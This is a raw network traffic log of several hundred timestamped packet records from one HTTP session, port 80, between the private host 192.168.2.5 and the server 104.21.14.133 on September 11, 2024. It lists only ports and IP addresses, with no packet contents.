Sep 11, 2024 18:23:54.508635044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508640051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508644104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508647919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.508703947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.508724928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.509963036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.509967089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510020018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.510029078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510032892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510036945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510046959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510050058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510096073 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.510890961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510896921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510936975 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.510963917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510967970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510972023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510982037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510984898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510988951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510993004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.510997057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.511001110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.511033058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.511056900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.511192083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.511195898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.511199951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.511210918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.511255026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.514704943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.514708042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.514722109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.514728069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.514774084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.514802933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.514806986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.514811039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.514820099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.514863968 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.517852068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517858028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517860889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517865896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517873049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517875910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517879963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517884970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517888069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517891884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517903090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.517908096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.517934084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.517951012 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.518012047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518021107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518075943 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.518719912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518723011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518728018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518775940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518778086 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.518779039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518784046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518788099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.518831015 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.526948929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.526953936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.526958942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.526999950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527003050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527007103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527012110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527015924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527019978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527025938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527029037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527029037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.527053118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.527072906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.527194977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527198076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527201891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527210951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527214050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527218103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527223110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.527262926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.530049086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530051947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530056953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530113935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.530118942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530122995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530127048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530132055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530134916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530138016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530142069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530145884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530169964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.530180931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.530282021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530286074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.530451059 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.532294989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532299042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532303095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532314062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532316923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532320976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532361984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532366037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532366991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.532368898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.532419920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.683324099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.683360100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.683363914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.683370113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.683388948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.683394909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.683480978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.683537006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.685925961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.685930014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.685951948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.685962915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.685966969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.685971975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.685977936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.685981989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.685986996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.686012030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.686031103 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.686161041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.686166048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.686170101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.686182022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.686187029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.686191082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.686196089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.686235905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.773621082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.773739100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.773791075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.774275064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.937952995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938128948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938133001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938182116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938185930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938189983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938199043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938203096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938225985 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.938257933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.938777924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938796997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938800097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938863039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.938884020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938886881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938891888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938903093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938905954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938909054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.938937902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.938947916 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939058065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939062119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939066887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939076900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939080000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939084053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939088106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939090967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939115047 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939141035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939198017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939202070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939205885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939214945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939218998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939222097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939229012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939233065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939256907 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939285040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939433098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939435959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939440012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939445019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939448118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939450979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939456940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939460039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939464092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939482927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939507008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939515114 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939690113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939694881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939697981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939707994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939711094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939714909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939721107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939724922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939728975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939733982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939743996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939743996 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939747095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939753056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.939770937 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939799070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.939995050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940121889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940124989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940134048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940139055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940141916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940145969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940151930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940156937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940160990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940165997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940170050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940174103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940181017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940185070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940185070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.940188885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940192938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940196991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940206051 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.940224886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.940233946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.940431118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940434933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940474987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.940521002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940524101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940527916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940538883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940542936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940546989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940551996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940556049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940560102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940571070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940574884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940576077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.940578938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940583944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.940604925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.940622091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.940642118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.941029072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941032887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941036940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941046953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941051006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941055059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941059113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941062927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941066980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941071987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941081047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941085100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941090107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941093922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941093922 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.941098928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941103935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941107035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941111088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941114902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941118956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941123009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941128016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941131115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941134930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941139936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941140890 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.941143990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941148043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941154003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941157103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941167116 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.941173077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941178083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941184998 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.941196918 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.941216946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.941615105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941618919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941622972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941632986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941636086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941639900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941644907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941648006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.941678047 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.941704035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.944046974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944113016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944117069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944170952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944175005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944180012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944184065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944191933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.944199085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944204092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944207907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.944226027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.944257021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945060968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945077896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945086956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945111036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945144892 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.945305109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945310116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945313931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945332050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.945336103 CEST	80	49710	104.21.14.133	192.168.2.5
